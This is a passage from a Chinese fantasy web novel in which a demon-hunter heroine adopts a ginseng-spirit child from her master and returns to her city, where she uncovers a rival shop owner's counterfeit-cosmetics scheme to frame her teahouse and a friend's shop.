冉纪二人推门进房,只见凌霄真人脸色苍白,半躺在床上,下半身盖着被褥,靠在床头板的上半身肉眼可见的伤痕累累,额头、手臂、胸口等各处都绑着绷带,绷带下渗出暗红的血。
在冉青云和纪映阳心里,凌霄真人一直所向披靡、神通广大,如今见她这般憔悴,两人心头一颤,顿住脚步,竟说不出话来。
凌霄真人招招手,示意让他们走近,面上佯装薄怒:“这么久不见,你们就是这样哭丧着一张脸来见我的?”
冉青云在外总一副无所不能的样子,在凌霄真人面前却又变回那只被她捡回家的乖乖小狗,见凌霄真人招手,便摇着无形的尾巴凑到床前,伸手想摸摸凌霄真人额角的伤口,又怕弄疼了她猛地缩回手,红着眼眶,嘴里喃喃问道:“怎么……怎么会伤得那么重?”
纪映阳也凑上前,急切地问:“那些牢里的妖怪又是怎么一回事?为什么会突然发狂?”
两颗脑袋挤在凌霄真人的床前,皆歪着头眼巴巴地看着她,像两只可怜兮兮的小狗小猫,若是让天虞城里的各位见到他俩此时的表情,定要怀疑他俩被夺了舍。
可在凌霄真人眼里,这两人永远是长不大的孩子。她伸手揉了揉两人的头,将两个脑袋揉得毛茸茸、乱糟糟的。
她长叹了一口气,说:“这都怪我……”
怪她?
这是什么意思?
凌霄真人轻轻喊了一声:“丫丫,你
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出来吧。”
冉纪二人正疑惑着,只见一个三四岁模样的小女孩掀开偏门的帘子,怯生生地走了进来。
小女孩头顶挽着两个小揪揪,睫毛又密又长,长着一双水汪汪的大眼睛,极其可爱,此时她小手紧张地抓着门帘,歪着脑袋小心翼翼地打量着陌生的冉青云和纪映阳。
她的模样看上去竟与冉青云有七分相似,更奇怪的是,她浑身素白,头发、睫毛、眼眸皆是雪白。
“这、这是怎么一回事……”
凌霄真人解释说:“几日前,我在山下捡到了她——就在当初捡到青云的那棵树下,是一只刚化形的人参妖。”
捡妖怪?
一向嫉恶如仇、见妖就杀的师尊竟然会捡小妖怪回山庄?
许是冉青云和纪映阳脸上的诧异太明显,凌霄真人叹气道:“她只会‘呀呀呀’地说话,看上去心智还未开,肯定没法在野外独自存活,又长得和青云有几分相像,我实在不忍心放任她自生自灭,就将她带了回来,给她取名为‘丫丫’。”
冉青云记得清清楚楚,她学成下山前,被师尊喊到静心堂里一顿臭骂,当时师尊板着脸说:“人与妖怎么能相提并论?捉妖师的本职就是肃清妖孽。捉妖最忌心慈手软。”
如今怎么凌霄真人也心慈手软了?
人参妖丫丫观望了一会儿,见冉纪二人规规矩矩的,不像坏人,大起胆子,凑到冉青云身边,轻轻拽了拽她的衣袖,在衣兜里掏了掏,掏出一块薄石板来,似乎是要与冉青云分享什么好东西似的,说:“呀!”
冉青云转头一看,竟是一块她制作的显影石!
玉清山庄距离天虞城有上千里远,这儿怎么会有显影石?
“这是天虞城捉妖会馆的人送到山庄里的。这几日我怕丫丫一个人待着无聊,就拿给她拿在手里看着玩儿。”凌霄真人有些不好意思,抿了抿嘴,继续说,“之前,我听说你们要用这显影石搞什么表演,原本不过只是想看看你们两个在千里之外做些什么,但看到那几位妖族表演节目、讲解妆饰、介绍美食……我才知道原来妖族确实也有安安分分之辈。”
她看向冉青云:“玉清山庄声名在外,寻常妖族根本不敢靠近,而我受人所托外出降妖,遇上的自然也都是恶毒邪祟,是以对妖族偏见才会越来越深。你说的是对的,人与妖并无高低贵贱之分,过去是我错骂你了,为师向你道歉。”
冉青云当日越被凌霄真人骂,心里越不服气,如今凌霄真人向她道歉,她反而不知怎么办才好,连连摆手,嘴里嘟囔半天说不出一句话。
人参妖似乎是对和自己长相相似的冉青云很有好感,见冉青云没接过她手中的显影石,她也不恼,挤到冉青云怀里,点开显影石,想和冉青云一起看。此时显影石上正播着朱胖胖的吃播,丫丫晃悠着自己的小短腿,笑弯了眼,指着朱胖胖,开心地说:“呀呀!”
纪映阳从凌霄真人捡妖怪都震惊中回过神来,问道:“您之前说,这事儿都怪您,这又是什么意思?”
41. 玉清山庄(二)
听凌霄真人说完这番话,冉青云和纪映阳只知晓了这人参妖的来历,可对于妖怪失控的原因还一无所知。纪映阳忍不住问道:“师尊,您之前说,这事儿都怪您,这又是什么意思?”
凌霄真人回答说:“将丫丫捡回来后,我便去书阁中查阅有关人参妖的书册,想知道如何才能把她养好。”
这倒是很符合凌霄真人一板一眼的性格,当初她把还是婴儿的冉青云捡回来,也是照着几本百科全书那么厚的育儿手册喂养、教导冉青云。
凌霄真人接着说:“就在昨日,我在书中看到,人参有大补元气、复脉固脱的功效,同样的,人参妖会使得她身边的妖族妖力猛增。我的住所与关押妖族的大牢离得很近,我立马意识到大事不好,刚要去大牢加固法阵,被关押的妖怪们却已越狱了,还打伤了几个弟子。我只好设下金锁阵,防止妖祟逃窜,继续伤人害人。”
冉青云想了想,问:“那人参妖有没有可能会使身边的妖族丧失理智发狂,或者是使他们平定心神呢?”
凌霄真人点点头:“确实有可能,人参本就既有提神的作用,又有安神的功效。有人服用了人参后便亢奋不已,却也有人依靠人参助眠安睡。”
冉青云和纪映阳交换了一个眼神,开口将玄隐和白灿灿失控的事情仔仔细细地和凌霄真人说了。
冉青云补充道:“他俩最后从发狂中陷入沉睡之前,不约而同地盯着我的眉心,不知道是在看些什么,因此,我怀疑他们失去理智和恢复意识可能都与我有关。”
凌霄真人沉思半晌,开口说:“据你们的描述,这确实是和人参妖对妖族的影响极其相似。更巧的是,前几日我捡到人参妖的地方,和十八年前我捡到青云的地方正好是同一棵树下。”
她接着说:“或许,十八年前人参妖已在那儿扎根地底,只是还未能化形,所以我并未发现。而青云当时被遗弃在人参妖身旁,因此沾染了些许人参妖的妖气。后来,青云又与那狐妖和蛟妖朝夕相处,才会对他们造成了影响。”
此话说的不无道理,可冉青云却想:当时她被遗弃时不过是一个小婴儿,在寒风中很快就会冻死,最多在树下待个一两天,就被凌霄真人救走了。她和人参妖接触的时间那么短,沾染的妖气难道会一直持续到现在吗?
再加上人参妖与她长相有七八分的相似,这难道也是巧合么?
而自己从前使用寻妖罗盘时,也从未检测出自己身上沾染着妖气,这或许可以用沾染的妖气太稀薄来解释,但稀薄得连寻妖罗盘都检测不出来的妖气,却会对玄隐和白灿灿造成那么大的影响吗?
冉青云还在思索,纪映阳却没想那么多,只当已找到了玄隐和白灿灿失控的原因,他挂心着失控后一直精神萎靡的白灿灿,语气急切地问:“那有没有什么方法可以抵消或是减少人参妖妖气的影响?要不然,师姐一回天虞城,岂不是又会对妖族造成影响?现在香梅茶楼里工作的妖已比人还多,若是妖怪们都失控发狂可就遭了。”
“自然是有办法的。”凌霄真人伸手指向窗外,窗外是院中的一片菜园。凌霄真人平日里闲暇之时,就喜欢种一些花花草草、瓜果蔬菜,这片菜园正是出自她手,经年累月下来也小有规模,绿油油一片,长势极佳。
凌霄真人说:“现在正是萝卜成熟的时节。萝卜的种子晒干后是一味药材,称为莱菔子。人参和莱菔子药效相冲相恶,人参补气,莱菔子平气。二者一起食用,药效会相互抵消。”
“玉清山庄地处灵脉之上,受此影响,种在这儿的植物都灵气盎然。将这些富含灵气的莱菔子带回去,捣碎成细末后让妖族服下,应该就可以抵消人参妖妖气的影响。”
不愧是凌霄真人,没想到这么快就能找到解决方法。纪映阳谢过师尊,兴高采烈地出门拔萝卜去了。
冉青云也想跟上,怀里窝着的人参妖娃娃见她要走,显影石也不看了,往兜里一塞,空出来的两只小手直接抓住了冉青云的衣襟,缩在她怀里不愿起来。冉青云一时间不知如何是好,既不敢用力把这小娃娃扯下来,也没法抱着她出去挖萝卜,只能把求助的目光投向神通广大的师尊。
凌霄真人没有出手帮忙,反而若有所思地盯着她俩看了一会儿,说:“不如你把丫丫带走好了。”
“哈?”冉青云震惊,眼睛都瞪大了。
几个意思?上辈子,冉青云在小某书上多次刷到那种独生女大学生暑假回家发现妈妈有了二胎还要自己帮着带娃的帖子,此时竟隔着遥远时空与那些可怜女大心灵共鸣了。
人参妖丫丫好像听懂了凌霄真人的话,把自己圆溜溜的脑袋紧紧靠在冉青云颈窝,扬着嘴角,奶声奶气地大喊:“呀呀!”
凌霄真人说:“玉清山庄中每天都有一大批被捕的恶妖进来,丫丫又会对妖族造成影响,若是每一只恶妖都要服用莱菔子,那怕是种了满山的萝卜也不够用,丫丫实在不适合住在山庄里。我看她似乎很喜欢你,你俩不仅长得像,又是我在同一个地方捡到的,这缘分可是十万分的难得。”
冉青云弱弱地反抗:“可、可我不会养娃娃啊……”
凌霄真人拿出师尊的威严,斩钉截铁地说:“不会就学嘛,这世上哪有生来就会的事情。”
她指了指一旁的书架,说:“架子上第二层有几本育儿手册和一本妖族习性大全,你拿回去好好看好好学。”
冉青云顺着她指的方向望去,那几本育儿手册皆比几块叠起来的砖头还厚,书角已泛黄破裂,看上去年份久远。而那本妖族习性大全则比较新,八成是凌霄真人为了研究人参妖生活习惯而新买来的。
丫丫紧紧搂着冉青云不愿撒手,嘴里咿呀咿呀地嘟囔。
凌霄真人施压,小人参妖撒娇,软硬兼施,冉青云只能屈服。
罢了罢了,不就是养个小娃娃么?又不是养不起。
一刻钟后,刚刚收好萝卜种子的纪映阳一抬头,就看到自家师姐一手抱娃一手抱书,一脸无奈地站在他面前。
纪映阳疑惑,纪映阳不解,纪映阳
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直接问了:“你抱着师尊的小丫头干啥?”
他还不知道,就在他挖萝卜的这短短一刻钟内,丫丫已经完成了监护人的更替和交接。冉青云纠正他的话:“现在她是我们的小丫头了。”
闻言,丫丫搂着冉青云的脖子,开心道:“呀呀呀!”
纪映阳转转脑子,立马明白了怎么回事,想来是师尊担心人参妖留在玉清山庄会出事,便强硬地把她交给了冉青云。
两人拜别师尊,带着小人参妖丫丫和一大袋萝卜种子,启程回天虞城。
毕竟带着个妖族娃娃,回程多花了些时间。好在丫丫是人参妖,有光照、有水喝,便可以存活长大,照料起来也容易得多。
第七日,他们终于风尘仆仆地抵达了天虞城。
这么一来一回,已离开这儿将近半月了,不知灿灿身体是否好转了一些,也不知玄隐有没有还哭哭啼啼。
冉青云和纪映阳都心急,不由得加快了脚步,刚走到西坊街街口,却看见一家铺子门口熙熙攘攘地挤满了人,远远望去,似乎是王大娘胭脂铺。
纪映阳感叹道:“没想到过了这么久,王小妹家的铺子生意还这么好。”
冉青云却摇摇头,神情严肃地说:“有些不对劲。”
他们走近了些,发现王大娘胭脂铺竟大门紧闭,店外不少人手里拿擀面杖、扫帚等充当武器,用力重重敲打木门,嘴里大声叫骂道:“滚出来!总得给我们个说法!真是个黑心店铺!”
对面玲珑阁的东家张娟站在柜台内,手拿圆扇有一下没一下地扇着,看着在王大娘胭脂铺门口叫嚣的人群,眼神中是毫不掩饰的小人得意。
她一扭头,看见了不远处的冉青云和纪映阳,连忙高声大喊:“呀!那不是香梅茶楼的两位东家吗!”
人们循声望去,人群中有人认出了冉青云和纪映阳,带头跑上前。众人似潮水一般推推搡搡地涌了过来,将他俩团团围住,七言八语地谩骂起来——
“你们为了挣银子,真是毫无底线!呸!”
“要不是听你们推荐买了王大娘胭脂铺的面膏,我脸也不至于毁成这样!”
“真是无良商家!收了钱,这等假货烂货也敢推荐!”
为首的一个人脸上围着遮脸面纱,他骂到兴起,一把扯下自己脸上的面纱,露出一张满是红肿溃烂的脸来,红着眼,撕心裂肺地喊:“你们看看我的脸,如今变成什么样子了!你们的良心难道不会痛吗!”
小人参妖丫丫被冉青云抱在手上,见这场面,当即被吓得哇哇大哭,将脸埋进冉青云怀里,小小的身子抖如筛糠。
冉青云一手托着丫丫,一手护住她的脑袋,没有多余的手掐诀念咒了,只能被人群挤得踉踉跄跄。
纪映阳伸手想拦,但人们围成一圈,人多势众,岂是他一个人能拦得住的?
他扯着嗓子大喊起来:“不要挤了!不要挤了!”这声音淹没在沸沸扬扬的吵闹声中,自然是没人理他。
究竟发生了什么事情?
42. 假货风波(一)
纪映阳大呼了半天“别挤”,根本无人在意。眼见闹事的人越聚越多,纪映阳只好从乾坤袋中掏出引火符,将引火符夹在两指之间,快速默念法诀,周身“唰——“的一声燃起一道熊熊燃烧的火墙,将他们两人一妖护在火墙所围成的保护圈内。
火焰由小及大燃起的过程中,众人急忙从他们身边闪开。
走在最前头的闹事者一个不慎,被火焰燎了眉毛,头发也着了火。他惨叫一声,连忙脱下上衣往头上盖,企图扑灭火苗,无奈这火却越烧越旺,急得他四处乱窜。
周围的人们生怕被他波及,慌忙四散逃开,你推我攘的,好似沸锅中的饺子,乱哄哄闹成一团。
冉青云被护在火墙之中,一手抱着哇哇大哭的人参妖丫丫,一手从乾坤袋里掏了张引水符,诵诀催动,一股水流从符篆中央涌出,好似一条透明的水龙,盘旋着绕到那着了火的闹事者头顶,哗的一声落了他满头,头上的火焰迅速被熄灭,冒着滋滋作响的白雾。
头上的火是熄灭了,但那闹事者嚣张的气焰也被一齐被浇了个透。他直接成了只落汤鸡——还是只烤鸡,烤焦的眉毛和头发炸成卷儿,水珠滴答滴答地从发尖流下。秋风轻拂,冷得他打了个激灵。
这闹事者倒是能伸能屈,刚刚领着大伙儿闹事,要多嚣张有多嚣张,此时浑身湿透、一脸狼狈,居然直接就地一坐,两腿大张,形如簸箕,当场撒泼起来:“没天理呀!没天理呀!香梅茶楼又光天化日之下伤人啦!”
“又”?
之前香梅茶楼里谁伤人了?
冉青云还没来得及问,对面玲珑阁的东家张娟摇着手里的圆扇,阴阳怪气地开了口:“哟,这香梅茶楼可不得了呀!前几日那狐妖刚打伤了好几个人,今天这两位东家又当街放火伤人,有庞大人撑腰就是不一样,猖狂得很呀!”
她声音尖、嗓门大,这么一拱火,在场的人们又骚动起来,人声鼎沸,全都叽叽喳喳地闹着要香梅茶楼当场就给个说法。
冉青云刚回天虞城,连发生了什么都不知道,根本不明白要给什么说法。
她将丫丫紧紧护在怀里,气运丹田,高声说:“我们刚回天虞城,也不知是出了什么事,等我们……”
人群中立马有人打断她的话,插嘴道:“放屁!收了黑心钱,现在却搁这儿装聋作哑、佯作不知!”
冉青云深吸一口气,权当听不见这污蔑,耐着性子继续往下说:“等我们查清楚究竟发生了什么事情,一定给各位一个交代。”
为首的闹事者怒目圆睁,大呼大叫:“那可不行!若是你们一走了之了,我们可怎么办?先”
他身后一人也说:“前王大娘胭脂铺那王小妹也说很快会给个交代,看看她们这都关门几天了,怕是早就卷款逃了吧!”
玲珑阁东家张娟继续挑拨,火上浇油:“可惜庞大人一世英名,竟识人不当,被你们这些歹人诓骗,怕是要晚节不保咯!”
她原以为这话说出了口,随之而来的应是一连串的附和,谁知满场却鸦雀无声。她扭头一看,闹事的人群竟主动分开了一条小道,一位戴着幞头帽的白发老人从小道中不紧不慢地走了出来——正是庞大人庞千山。
庞千山捻着山羊胡,操着他那破锣嗓子,质问道:“是谁说老夫要晚节不保呀?”
这场景真是好眼熟。
当初香梅茶楼被官差围住,庞大人也是这么出场来解围的。
看起来,庞千山在百姓间声望确实很高,官府也对他礼待有加。当初在城主府中,陈三妹同样也是备受尊重,连她直呼张建诚张大人的名讳竟也算不上冒犯。这倒让冉青云好奇起来,为何他们在天虞城里地位如此之高。
庞大人一出现,众人皆陷入沉默,视线齐齐飘向出口不逊的玲珑阁东家。庞千山顺着众人的视线望去,张娟猝不及防地与他对上眼神,吓得急忙用手里的圆扇遮住脸。
庞千山朗声说道:“拜托各位看在我庞某的面子上,行行好让让路。此事颇有蹊跷,老夫保证,不出三日,必定查明事情真相。”他斜睨了一眼冉青云和纪映阳,继续说:“就算他们真一走了之了,老夫也自掏腰包,大家应得的补偿绝对一分不少。”
闻言,众人面面相觑,随即小声交头接耳起来。
人群中一个书生模样的年轻男子站了出来,拱手作揖道:“既然庞大人如此作保,那我们且信这么一回。三日后,我们再去香梅茶楼要个说法。”说着,他伸手指向人群中分开的小道,做了个“请”的手势。
庞千山给冉青云和纪映阳使了个眼色,抬脚走在了前头。
冉青云和纪映阳对视一眼,掐诀灭了火墙的火,也跟了上去。
闹事人群也渐渐散开,等走得远了些,冉青云走到庞千山身侧,低声道:“多谢庞大人了。”
庞千山没客气,摸着山羊胡,一脸神气,回答道:“那自然该多谢谢我。”
他看了冉青云怀里抽泣着的丫丫,随口问:“这是你妹妹?”说着,从袖袋中摸出一颗晶莹剔透的糖块,举到丫丫面前,说:“桂花糖,吃不吃?”
丫丫立马被桂花糖吸引了注意力,伸出肉乎乎的小手接过糖果,塞进嘴里,开心道:“呀呀!”
冉青云摇摇头,否定道:“不是,她是一只人参妖。这事就说来话长了……”
庞千山对丫丫的来历毫不关心,没有再问,只是掐了掐丫丫的小圆脸,说:“这小娃娃还挺可爱。这桂花糖本来是留给阿姐的,可惜阿姐出了远门,倒是你这小娃娃享口福了。”
“陈三妹?”冉青云问道,“她去哪了?”
庞千山:“前些日子,她说怀疑封锁冥界的结界出了问题,出发去冥界边缘调查了。”
他接着说:“她刚走没多久,西坊街鬼气骤浓,但我捉鬼能力不如阿姐,一直找不到这鬼气的来源。”
冉青云又问:“香梅茶楼和王大娘胭脂铺究竟出了什么事?难道和这鬼气有关系
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吗?”
庞千山摇摇头,说:“和鬼气有没有关系,我也不知道。至于发生了什么事情,你们回到茶楼自然就知道了。”
***
走过两个路口,就到达了香梅茶楼。此时,香梅茶楼大门紧闭,门锁歪七扭八,似乎是被人砸过,两侧窗户的内侧都用木板封了起来,门楣上还挂着些烂菜叶,看上去破败不堪。
冉青云敲敲门,说:“有人吗?我和纪映阳回来啦。”
无人应声,冉青云又高声重复问了一次,周围的街坊邻居和过路行人纷纷侧目,议论纷纷。
等了一会儿,香梅茶楼门内传来一阵拖沓的脚步声,那脚步声由远及近,最后停在了门边,木门吱呀一声开了一条小缝,露出了刘掌柜的脸。
刘掌柜探头瞪眼,确认了来者确实是冉青云和纪映阳,将门开出一个仅容一人过的身位,压低声音道:“快进来吧。”
她谨慎得实在是有些夸张,也不知他们不在的这几天,香梅茶楼究竟遭遇了什么。
一进门,竟见到王小妹和王大娘在茶楼大堂里坐着。王小妹灰头土脸、脸色憔悴,王大娘更加狼狈,额头上缠着厚厚的纱布,纱布下还隐隐透出血色。
见到冉青云,王小妹“唰”的一声站起来,眼含热泪,冲着她就跑了过来,语带哭腔,边跑边说:“你终于回来……”
她话还没说完,另一个身影“嗖”的一声从她身旁掠过,快得几乎只看得见一道残影,先她一步搂住冉青云,嚎得比她还大声:“呜哇哇——你终于回来啦呜呜呜——”
冉青云一抬头,就看到玄隐那张俊美得惊天地泣鬼神的帅脸,此时这张脸上一把鼻涕一把泪,嘴巴撅得委屈巴巴的。
当初告别时也是这样哭得稀里哗啦的,这家伙不会就这么哭了十天半个月吧?
人参妖丫丫被夹在两人中间,被闷得生气大呼:“呀!”
玄隐退开半步,这才发现冉青云怀里还抱着个小娃娃。他低头看看小娃娃,再看看冉青云,低头看看小娃娃,又再次看看冉青云,一大一小两张脸,完完全全是一个模子刻出来的。
玄隐瞳孔地震,大惊失色:“这这这、这是你你你你女……”
冉青云连忙截住他的话头,生怕他说出什么胡话来,言简意赅地解释说:“这是我师尊捡到的一只人参妖,托我照顾。”
纪映阳环视了一圈,没看见白灿灿,忍不住插嘴问道:“灿灿呢?怎么没看见灿灿?”
刘掌柜说:“她这几日还是常常乏困,现在还在睡呢。”
纪映阳从行囊里掏出一袋萝卜种子,说:“等我把这些种子晒干后制成莱菔子,磨碎让茶楼里的妖族服下,应该就万事大吉了!我和师姐回了趟山庄,已经找到先前玄隐和灿灿失控的原因了,就是……”
冉青云将丫丫放到凳子上,打断他的话,说:“这事说来话长,之后再和你们细说吧。你们先说说胭脂铺和茶楼这几日究竟出了什么事。”
43. 假货风波(二)
王小妹听冉青云这么一问,眼眸一颤,蓄在眼眶的泪水再也收不住,落雨似的滚落下来,她抽噎着回答道:“几日前,有一伙人高马大的壮汉突然闯进我们铺子里,说他们用了我们店里的面膏后,脸变得又肿又痒,说让我赔他们一人二十两银子,要不然就要把我们的店给砸了。”
“我看了他们带过来的面膏,虽说包装上看着与我们铺子里的非常相似,但里头装着的东西不论是质地还是颜色都和我们店里售卖的面膏完全不一样。我留下了他们带来的面膏,随身带着呢,喏,给你看看。”说着,王小妹从挎包中掏出两盒面膏,递给冉青云。冉青云打开一看,果真一盒颜色乳白、味道清香,另一盒则泛黄发酸,差异十分明显。
王小妹抽出手帕擤擤鼻子,委屈道:“当时我也拿了我家的面膏给他们做对比,明明一看就知道那劣质货和我们店里的好货完全不一样,可是他们偏偏不信,非说我是真假掺卖,一定要我赔钱。争吵之中,还将我娘打得头破血流。见了血,他们担心惹上事,这才不情不愿地走了,临走前还说让我快点儿筹好赔款,若是不愿赔偿,就得拿我们的铺子抵给他们。”
庞千山接过面膏细细查看,说:“这盒假面膏上并无恶鬼煞气,看来这件事似乎和天虞城近日来的鬼气没有关系。”
“那倒不一定。”冉青云顿了顿,说,“前脚西坊街鬼气骤浓,后脚铺子茶楼就出了事,时间实在是太相近,巧合得有些奇怪了。说不定这面膏上面没有鬼气只是因为那恶鬼坐山观虎斗,借刀杀人,自己并没有直接接触这面膏。”
她看向王小妹,说:“你先接着往下说。”
王小妹回答:“过了几日,他们甚至还半夜撬门想潜入我们铺子,我实在害怕出事,就连夜带着阿娘来香梅茶楼里躲着了。”
她哭丧着脸,继续说:“没想到……他们找不到我和阿娘,就跑来茶楼找麻烦,说是因为听了灿灿的推荐,才会来买我们铺子里的东西。都怪我们,害得你们受了牵连……”
刘掌柜连连摆手,道:“这怪不得你们。你们店里所有的面膏胭脂灿灿几乎都用过,确实没有什么问题,定是被人栽赃陷害了,我们都是无妄之灾啊。”
刘掌柜语气中满是疲惫,接着说:“他们一连几天都来茶楼里闹事,闹得我们店也开不了,只好关门。前天,他们一群人跑来茶楼门口丢烂菜叶,边丢还边破口大骂,唉……”
玄隐哭唧唧地凑到冉青云身边,睁着可怜巴巴的大眼睛,嘟着嘴告状道:“青云青云,他们骂得可难听了,说什么要将我扒了皮做成蛇皮袋,还说要把灿灿拔了毛做成狐裘大衣!”
刘掌柜无奈地摇摇头,道:“他们说的实在是太过分了,灿灿一怒之下,就冲出去将闹事的人打伤了。要不是玄隐拦着,怕是早已酿成大错……”
闻言,玄隐挺直了腰板,摆出一脸求夸夸的表情,嘴里却谦逊道:“哎呀,是我应该做的!都是青云教得好!”
他实在太过可爱,冉青云习惯性地伸手想揉揉他的脑袋,却发现人形的玄隐竟比自己还高了半个头,只好将伸手改为抬手,轻轻拍了拍他的脑袋,以示表扬。
受到表扬的玄隐心满意足,同样习惯性地将自己的脑袋窝在冉青云颈侧,但他没意识到自己小黑蛟形态与人形的差别——小黑蛟形态的他窝在冉青云颈侧,不过就像一条细细的黑色挂脖围巾,可他如今的姿势却变成从背后虚虚地环抱住冉青云,弯下腰和冉青云头靠着头,脸贴着脸,看上去好似一对亲密无间的恋人。
人参妖丫丫坐在木椅上,双脚悠悠地一荡一荡,睁大了圆溜溜的眼睛,眼睫毛扑闪扑闪,好奇地看着他们俩。
冉青云心里不由自主闪过一丝丝羞涩,但这丝羞涩闪得极快,刚嗖的一声飞进心里,又立马被正事唰的一声挤了出去。
她回想起刘掌柜刚刚说的话,暗暗觉得奇怪。
几个月前,她们几人被玲珑阁东家当众赶出店铺时,白灿灿别说动手了,是害怕得连回嘴都不敢,这才过了多久,怎么她的性子突然变得这么刚了,居然还主动冲出去和人打架?
莫不是失控后遗症吧?
正想着,白灿灿刚好从二楼下来了。
她精神状态看上去比之前好了一些,但此时面色却很阴沉,冷冷道:“当时玄隐就不应该拦我!揍他们难道揍错了么?我还嫌我当时下手不够重呢。”
刘掌柜长叹一声,劝道:“打了他们又能怎样呢?不过是给他们留个话柄。”
白灿灿满脸戾气,眼眸幽深黑亮,好似一潭深不见底的死水,散发着阵阵凉意:“将他们通通杀了,不就没有人来闹事了?”
她这话说得实在是不符合她的性子,场面骤冷。刘掌柜眉头紧锁,一脸担忧地看着她,嘴唇翕动,却始终说不出什么话来。
读不懂氛围的纪映阳却直接一个健步凑上前去,大大咧咧地开口问道:“灿灿,你咋了?发起床气了么?对了,我和你说,我们找着阻止失控的方法了……”
他絮絮叨叨地讲起他和冉青云回玉清山庄的事情,从师尊受伤讲到人参妖丫丫的来历,又从师尊如何逼迫冉青云带走人参妖丫丫讲到他怎么辛辛苦苦地挖萝卜,最后摇了摇手里的袋子,得意洋洋地说:“登登登!就是这个!晒干的萝卜种子——也可以称为莱菔子,等我磨碎后让你们服用下去,就再也不用担心受人参妖的妖气影响而失控了!”
白灿灿听他喋喋不休地讲了一长串,敷衍地点了点头。但被他这么一打岔,白灿灿的脸色总算不那么阴鸷了。
纪映阳傻乐着,兴冲冲地就往后厨走,边走边说:“我现在就去找个研钵磨一磨,你等一等,马上就好!”
刘掌柜见白灿灿脸色缓和下来,拉起她的手,牵着她坐到大堂中央的雕花圆桌旁,用手探了探她的额头,柔声问道:“现在感觉怎么样?还头疼吗?”
白灿灿卸下剑拔弩张的气势,将头靠在刘掌柜肩上,拧眉叹气道:“好是好一些了。但是……自从在那作坊里失控之后,我总觉得心情很烦躁,每
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天心里都难受得很,也不知道是不是因为失控造成的。现在只能希望纪映阳说的那什么萝卜种子能有用吧。”
冉青云不动声色地观察着白灿灿的神情,难道真是因为失控后导致她性情大变?
冉青云又扭头看向玄隐,玄隐见冉青云投来视线,虽然不明所以,但还是立马咧开了一个大大的笑容,看上去傻乎乎的。
玄隐明明先前也失控过,但他的性子并没有任何变化呀。
纪映阳风风火火地去,很快又风风火火地回,手里多了两碗被捣成粉末的莱菔子碎。他往碗中加了些温水,一碗递向灿灿,一碗拿给玄隐,说:“你们先喝了吧。我还磨了不少,放在后厨,之后给孙毛毛、朱胖胖他们也喝喝,对了,还有章鱼妖小八和陈小雪。”
刘掌柜点点头,说:“我怕他们也被连累,就让孙毛毛和朱胖胖带着小八躲到北荒山去。北荒山有湖,他们带了木桶和好几包盐巴去,足够小八在盐水里生活很久了。”
见灿灿和玄隐将莱菔子服下,纪映阳终于解决一个心头大患,有空担心起假货的事儿来了,他看向庞千山,问道:“庞大人,您之前和那闹事的人保证说,不出三日必定查明事情真相,您是已经有什么头绪了么?”
庞千山那话说得信誓旦旦,在众目睽睽之下发了誓,显然是带着十拿九稳的自信。谁知此时他却摊了摊手,说:“我确实说了‘不出三日必定查明事情真相’,但我又没说是我去查明真相。”
“那你的意思是……”
庞千山拍拍冉青云的肩,眨眨眼:“我的意思是——我看好你们哦!”
……行吧。
纪映阳额角突突直跳,咬牙道:“既然是说大话,你就不能说十天半个月么?非要说三日?”
庞千山捋了捋山羊胡,摇头晃脑道:“说十天他们哪里肯等?能多出三日已经不错啦。”
他意味深长地看向冉青云,不紧不慢地对纪映阳说:“你看看你师姐,一点儿也不着急,甚至还悠悠闲闲地等你这小子磨粉,就知道三日的破案时间对她来说定是足够啦。”
冉青云点点头,说:“确实有点思路。今日,我看那领头的闹事者,就觉得他十分奇怪。他满脸红肿溃烂,想来应该既疼又痒,就算强忍,总会不经意间挠几次脸,但他全程竟一次挠痒的动作都没有。再细看他眉毛与头发被火燎时的样子,毛发都被烧焦了,周围的皮肤却完好无损,我怀疑他其实是戴了一个□□,装作脸上受伤破损的样子。”
当时场面混乱不堪,冉青云怀里还要护着小人参妖丫丫,没想到她观察得竟然如此仔细。
冉青云接着说:“因此,我施引水诀帮他灭火的时候,暗中在他身上施了一个寻踪诀,接下来二十四个时辰之内,我都能时刻追踪他的方位。”
纪映阳急忙问:“那他现在在哪?”
冉青云说:“闹完事后,那人绕着西坊街逛了半圈,最后偷偷摸摸地拐进了玲珑阁铺子的后门,如今就在玲珑阁的库房里面待着。”
44. 假货风波(三)
当初,玲珑阁东家张娟前脚刚得罪了冉白刘三人,后脚见王大娘胭脂铺在香梅茶楼的帮助下赚得盆满钵满,也想分一杯羹,又觍着脸找上门来,冉青云等人当然不可能和她合作,将她赶走。临走前,张娟气急败坏地撂下狠话:“你们不过是歪门邪道罢了!我倒是看看你们能得意到几时?”
谁知茶楼与胭脂铺得意之日长长久久,倒是张娟琢磨起陷害污蔑的歪门邪道来了。
庞千山与她叔父张建诚相熟,点评道:“张建诚为人忠厚,谁知他侄女却心思不正。”
他叹气道:“我这就去和张建诚说一声,让他好好管管自家侄女。”
冉青云却摇摇头,说:“若张娟一口咬死了不认,那也没什么办法,顶多是她叔父训她几句,并不能洗清王大娘胭脂铺和我们的冤屈。”
庞千山挑眉:“那你是打算……?”
冉青云拿起大堂雕花桌上那面用于实时转播画面的铜镜,笑了笑,说:“我打算,让他们亲口说出栽赃陷害之事,用显影石让城里人都亲眼见证。”
“不过,”她望向白灿灿,又看向庞千山,说,“这就需要你们的帮忙了。”
***
一刻钟后,幻化出一个普通姑娘面孔的白灿灿站在玲珑阁的牌匾之下,抬手摸了摸藏在胸口,露出一个小角的铜镜,确认无误后,深吸一口气,抬脚走进了玲珑阁的大门。
玲珑阁东家张娟坐在柜台边,翘着兰花指欣赏着自己指甲上的丹蔻,听见有人进店的声音,掀起眼帘瞥了一眼,懒洋洋道:“随便看随便挑啊。”
此时已是深秋,纵使是晴天也有凉风习习。柜台就在门边,张娟身上披着件白色的毛裘大衣。
看见那身毛裘大衣,白灿灿脑海里又闪过那一张被固定在楦板上风干的白色狐皮,登时五内翻腾,心中戾气丛生。
但思及冉青云交给她的任务,她努力压下心里的暴戾,装作若无其事地挑选起胭脂水粉来。
店门外,庞千山慢条斯理却又气势十足的声音响了起来:“张老板,今儿个就是你在大街上说老夫晚节不保么?”
张娟平日里最怕叔父张建诚,而张建诚与庞千山可是十几年的老交情了,万一庞千山将她这诋毁的话告到张建诚那儿去,怕是家里得把给她开销的银子给停了。
她立马从柜台里蹦出来,谄笑着解释道:“哎呀,庞大人,我说的不是那个意思……”
见张娟注意力全然被庞千山吸引,白灿灿趁她没发现,身子一闪,火速溜进了胭脂铺后头的库房里。
就这么五六步路的时间,她脸上五官已然变成了张娟的模样。
